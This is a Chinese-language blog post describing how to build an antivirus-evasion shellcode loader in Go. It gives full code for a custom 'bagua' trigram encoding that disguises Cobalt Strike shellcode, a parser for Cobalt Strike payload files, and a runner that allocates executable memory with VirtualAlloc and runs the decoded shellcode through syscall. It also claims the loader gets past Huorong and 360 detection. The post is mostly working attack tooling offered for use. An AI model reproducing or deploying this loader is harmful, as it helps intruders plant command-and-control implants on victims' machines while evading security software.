自定义编码编写免杀加载器

0x00 前言

前两天看到github上有个开源的go语言免杀加载器的项目,在源代码中分析原理:发现该项目中的加密方式、参数、顺序可控,于是尝试编写自定义的一套编码方式来加载shellcode。Golang小白,大佬们轻喷~

0x01 分析加载器项目

首先sparrow.go通过调用cmd.go将cs生成的.bin文件或者.c文件中的shellcode 进行多层加密,(加密参数、顺序可控);

生成shellcode密文和自定义加密方式顺序后粘贴至/loader/loader.go中shellcode变量和encodestr变量中。编译后,测试可以成功绕过火绒静态。

执行loader.exe -token 成功上线CS后成功绕过火绒动态。

0x02 自定义编码编写

编写步骤:

  1. 编写自定义encode&decode包;

    ​ 定义几个常量,定义编码后的数据,用特殊符号(八卦阵)表示:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    const (
    qian = "☰"
    dui = "☱"
    li = "☲"
    zhen = "☳"
    xun = "☴"
    kan = "☵"
    gen = "☶"
    kun = "☷"
    )

    ​ 定义八卦阵符号

1
2
3
4
5
6
7
8
9
10
var m1 = map[int]string{
0: qian,
1: dui,
2: li,
3: zhen,
4: xun,
5: kan,
6: gen,
7: kun,
}

​ 定义八卦符号对应的二进制值

1
2
3
4
5
6
7
8
9
10
var m2 = map[string][3]int{
qian: {0, 0, 0},
dui: {0, 0, 1},
li: {0, 1, 0},
zhen: {0, 1, 1},
xun: {1, 0, 0},
kan: {1, 0, 1},
gen: {1, 1, 0},
kun: {1, 1, 1},
}

​ 定义encode部分(将字节数组编码为八卦符号)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func byteTo2(byt int, dst []int) {
var i = 7
for byt != 0 {
dst[i] = byt % 2
byt = byt >> 1
i--
}
return
}
func encode(src []byte) string {
bs := make([]int, len(src)*8)
bl := len(bs)
for k, v := range src {
byteTo2(int(v), bs[k*8:k*8+8])
}

buf := make([]string, (bl+2)/3)
for i := 0; i*3+2 < len(bs); i++ {
buf[i] = m1[bs[i*3]<<2+bs[i*3+1]<<1+bs[i*3+2]]
}

switch bl % 3 {
case 1:
buf[(bl+2)/3-1] = m1[bs[bl-1]<<2]
case 2:
buf[(bl+2)/3-1] = m1[bs[bl-2]<<2+bs[bl-1]<<1]
}

return strings.Join(buf, "")
}

​ 定义decode部分(将八卦符号解码为字节数组)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func b8ToByte(b []int) byte {
return byte(b[0]<<7 + b[1]<<6 + b[2]<<5 + b[3]<<4 + b[4]<<3 + b[5]<<2 + b[6]<<1 + b[7])
}
func decode(s string) ([]byte, error) {
if s == "" {
return nil, nil
}

sl := len(s)

is := make([]int, sl)
for i := 0; i < sl/3; i++ {
b, ok := m2[s[i*3:i*3+3]]
if !ok {
return nil, errors.New("invalid string, cur: " + strconv.Itoa(i))
}
copy(is[i*3:i*3+3], b[:])
}

buf := make([]byte, sl/8)
for i := 0; i < sl/8; i++ {
buf[i] = b8ToByte(is[i*8 : i*8+8])
}

return buf, nil
}

​ 定义加密函数

1
2
3
4
func Bagua_en(s []byte) string {
result := encode(s)
return result
}

​ 定义解密函数

1
2
3
4
5
6
7
8
func Bagua_de(s string) []byte {
result, err := decode(s)
if err != nil {
fmt.Fprintln(os.Stderr, err.Error())
os.Exit(1)
}
return result
}

​ 测试加解密效果

2.读取CS生成的payload.c或payload.bin文件;

​ 以下方法可直接读取CS生成的.c文件和.bin文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
if strings.EqualFold(path.Ext(path.Base(f)), ".bin") {
//CS通过Raw生成的payload.bin中的shellcode可以通过该方式直接读取
shellcodeFileData, err := ioutil.ReadFile(f)
checkError(err)
shellcode = shellcodeFileData
fmt.Println(shellcode)
} else if strings.EqualFold(path.Ext(path.Base(f)), ".c") {
//CS生成C语言的payload.c中的shellcode可以通过该方式读取
file, err := os.OpenFile(f, os.O_RDWR, 0666)
if err != nil {
fmt.Println("Open file error!", err)
return
}
// fmt.Println(file)
defer file.Close()

stat, err := file.Stat()
if err != nil {
panic(err)
}
var size = stat.Size()
fmt.Println("file size=", size)
filestr := ""
buf := bufio.NewReader(file)
for {
line, err := buf.ReadString('\n')
line = strings.TrimSpace(line)
//fmt.Println(line)
filestr += line
if err != nil {
if err == io.EOF {
r, _ := regexp.Compile("\"(.*)\"")
//fmt.Println(r.FindString(filestr))
strReplaceAll := strings.ReplaceAll(r.FindString(filestr), "\\x", "")
strReplaceAll = strings.ReplaceAll(strReplaceAll, "\"", "")
//fmt.Println(strReplaceAll)
shellcode, err = hex.DecodeString(strReplaceAll)
if err != nil {
fmt.Println(err)
}
fmt.Println("File read ok!")
break
} else {
fmt.Println("Read file error!", err)
return
}
}
}
}

​ 调用自定义encode包将CS生成的payload.c或payload.bin文件进行编码;

1
2
3
4
5
shell = bagua.Bagua_en([]byte(shellcode))
// fmt.Println(shell)
shellcode = []byte(shell)
// fmt.Println(string(shellcode))
fmt.Println(shell)

​ 调用自定义decode包将CS生成的payload.c或payload.bin文件进行解码;

1
2
3
4
// 编码后的shellcode
shellcode := ""
// 解码
shell := bagua.Bagua_de(string(shellcode))

​ 调用syscall运行解码后的shellcode

​ 只解密肯定不行的,需要用go来执行CS生成的shellcode;执行方式为:

  1. 调用VirtualAlloc为shellcode申请一块内存
  2. 然后调用RtlCopyMemory来将shellcode加载进内存当中
  3. 调用go的syscall库启动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
func runCode(code []byte) {
// add
VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
RtlCopyMemory := syscall.NewLazyDLL("ntdll.dll").NewProc("RtlCopyMemory")

//调用VirtualAlloc为shellcode申请一块内存
addr, _, err := VirtualAlloc.Call(0, uintptr(len(code)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
//调用RtlCopyMemory来将shellcode加载进内存当中
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&code[0])), uintptr(len(code)))
checkErr(err)
//syscall来运行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}

0x03 免杀效果测试

  1. 用bagua_en对CS生成的shellcode进行加密
  1. 复制密文到bagua_de.go中shellcode变量中
  1. 执行代码后成功上线
  1. 编译后测试免杀效果。

成功绕过火绒静态

成功绕过火绒动态

0x04 总结

主要分享一下免杀思路,目前只测试360和火绒动静态全过,其他自测。Golang小白,大佬们轻喷~


自定义编码编写免杀加载器
http://aqiao-jashell.github.io/2023/08/12/自定义编码编写免杀加载器/
作者
CNAQ
发布于
2023年8月12日
许可协议